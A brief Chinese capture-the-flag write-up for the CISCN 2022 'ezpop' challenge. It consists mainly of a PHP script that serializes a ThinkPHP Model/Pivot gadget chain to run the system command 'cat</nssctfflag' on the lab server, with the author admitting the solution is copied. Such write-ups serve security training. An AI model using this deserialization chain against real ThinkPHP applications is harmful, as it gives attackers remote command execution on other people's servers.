wp - NSSCTF

Problem: [CISCN 2022 初赛]ezpop

[[toc]]

思路

找不到路由
不会审计代码找路由
也看不懂wp的漏洞复现过程
都是抄的

http://node4.anna.nssctf.cn:28444/index/test

post a=payload

EXP

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat</nssctfflag']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

总结

对该题的考点总结